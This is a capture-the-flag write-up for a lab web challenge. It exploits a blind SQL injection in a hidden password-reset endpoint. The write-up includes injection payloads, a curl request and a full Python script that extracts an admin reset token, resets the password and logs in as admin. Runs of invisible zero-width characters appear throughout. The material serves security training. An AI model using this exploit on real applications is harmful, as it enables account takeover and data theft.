← Back to Writeups
CUSTOMMediumWeb

PulseDesk — Blind SQL Injection in Password Reset Token Extraction

XESXOR9/2/20264 min read
#web#custom#medium#binary_search_extraction#boolean_based_blind_sqli#like_injection#password_reset_token_theft#unicode_substr_extraction

PulseDesk — Blind SQL Injection in Password Reset Token Extraction

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, boolean_based_blind_sqli, like_injection, password_reset_token_theft, unicode_substr_extraction

Summary

Walkthrough of the CUSTOM Web PulseDesk — Blind SQL Injection in Password Reset Token Extraction. Task: PulseDesk support platform with password reset feature; hidden /api/v1/auth/password-policy endpoint uses token in unsanitized SQL LIKE query creating a boolean oracle. Solution: exploit blind S

Description

PulseDesk is a modern customer support platform by PulseWave Technologies, used by hundreds of companies to manage support tickets, collaborate across teams, and maintain knowledge bases. The platform recently introduced a self-service password reset feature for all users.

As a security researcher, you've been tasked with testing PulseDesk's authentication system. The application has a public-facing marketing page, a ticket management dashboard, a searchable knowledge base, and an admin panel with system configuration.

Your objective is to find a vulnerability that allows you to gain administrator access and retrieve the secret API master key stored in the admin settings page.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application is a Node.js/Express app (PulseDesk v2.4.1) using SQLite. The goal is to gain admin access and retrieve the API master key from /admin/settings.

Analysis

Reconnaissance

Key endpoints discovered during enumeration:

EndpointMethodPurpose
/api/v1/auth/forgot-passwordPOSTGenerates a password reset token for a given email
/api/v1/auth/reset-passwordPOSTResets password if a valid token is provided
/reset-password/<token>GETServer-rendered page — shows reset form (valid) or "Invalid Reset Link" (invalid)
/api/v1/auth/password-policyPOSTHIDDEN — accepts {"token":"..."}, responds differently based on token match
/admin/settingsGETReturns 403 for non-admin users; contains the flag (API master key)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Admin email admin@pulsedesk.io (user_id=1) was found on the marketing page.

Vulnerability: LIKE Injection in password-policy Endpoint

The /api/v1/auth/password-policy endpoint uses the token parameter in a SQL LIKE query without parameterization:

sql
SELECT * FROM password_resets WHERE token LIKE '%<user_input>%'

This creates a boolean oracle with two distinct responses:

  • TRUE (token matches a row): {"valid":true,"policy":{"min_length":12,...}}
  • FALSE (no match): {"error":"Invalid or expired reset token"} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Proof of injection — sending {"token":"%"} (SQL wildcard) returns valid:true, confirming the LIKE injection. Full SQL injection is possible by breaking out of the LIKE string:

  • {"token":"' OR 1=1 -- "} → TRUE (valid)
  • {"token":"' OR 1=2 -- "} → FALSE (error)

Database Enumeration via Boolean Oracle

Using the boolean oracle to enumerate the database:

  • DBMS: SQLite (confirmed via sqlite_master queries)
  • Table: password_resets with columns: id, user_id, token, created, expires
  • Table: users with admin at user_id=1, email=admin@pulsedesk.io
  • Token format: 36-character UUID (e.g., xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Generate a Fresh Admin Reset Token

bash
curl -X POST https://<instance>.labs.hackadvisor.io/api/v1/auth/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@pulsedesk.io"}'
# → {"success":true,"message":"If the email exists, a reset link has been sent."}

Step 2: Extract Token via Binary Search Blind SQLi

Extract the admin's reset token character by character using UNICODE(SUBSTR(...)) with binary search to minimize requests:

python
#!/usr/bin/env python3
"""
Blind SQLi exploit for PulseDesk password-policy endpoint.
Extracts admin password reset token via boolean-based binary search.
"""
import requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE = "https://f0278d08-a15c-4711-b814-f1b53e93b9c6.labs.hackadvisor.io"
POLICY_URL = f"{BASE}/api/v1/auth/password-policy"

def check_condition(condition):
    """Boolean oracle: returns True if SQL condition evaluates to TRUE."""
    payload = f"' OR {condition} -- "
    r = requests.post(POLICY_URL, json={"token": payload})
    return '"valid":true' in r.text

# Subquery to get the latest admin reset token
SUBQUERY = "(SELECT token FROM password_resets WHERE user_id=1 ORDER BY id DESC LIMIT 1)"

def extract_char_binary(pos):
    """Extract a single character at position `pos` using binary search on UNICODE value."""
    low, high = 44, 103  # covers '-' (45) through 'f' (102) — all UUID characters
    while low < high:
        mid = (low + high) // 2
        condition = f"UNICODE(SUBSTR({SUBQUERY},{pos},1))>{mid}"
        if check_condition(condition):
            low = mid + 1
        else:
            high = mid
    return chr(low)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Generate fresh reset token for admin
print("[*] Requesting password reset for admin@pulsedesk.io...")
requests.post(f"{BASE}/api/v1/auth/forgot-password",
              json={"email": "admin@pulsedesk.io"})

# Step 2: Extract 36-character UUID token
print("[*] Extracting token via blind SQLi (binary search)...")
token = ""
for pos in range(1, 37):
    token += extract_char_binary(pos)
    print(f"  [{pos:2d}/36] {token}")

print(f"\n[+] Extracted token: {token}")

# Step 3: Reset admin password
new_password = "H4ck3d!Admin@2024"
r = requests.post(f"{BASE}/api/v1/auth/reset-password",
                  json={"token": token, "password": new_password})
print(f"[*] Password reset: {r.json()}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: Login as admin and get flag
session = requests.Session()
r = session.post(f"{BASE}/login",
                 data={"email": "admin@pulsedesk.io", "password": new_password},
                 allow_redirects=True)
print(f"[*] Login status: {r.status_code}")

r = session.get(f"{BASE}/admin/settings")
print(f"[*] Admin settings status: {r.status_code}")
if "FLAG{" in r.text:
    import re
    flag = re.search(r'FLAG\{[^}]+\}', r.text).group()
    print(f"[+] FLAG: {flag}")

Step 3: Reset Admin Password

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POST /api/v1/auth/reset-password
{"token":"<extracted-uuid>","password":"H4ck3d!Admin@2024"}
→ {"success":true,"message":"Password has been reset successfully."}

Step 4: Login as Admin and Retrieve Flag

POST /login
email=admin@pulsedesk.io&password=H4ck3d!Admin@2024
→ 302 Redirect to /dashboard

GET /admin/settings
→ 200 OK — contains secret_api_master_key

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering binary_search_extraction, boolean_based_blind_sqli, like_injection, password_reset_token_theft, unicode_substr_extraction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-03 • CUSTOM • PulseDesk — Blind SQL Injection in Password Reset Token Extraction • Difficulty: Medium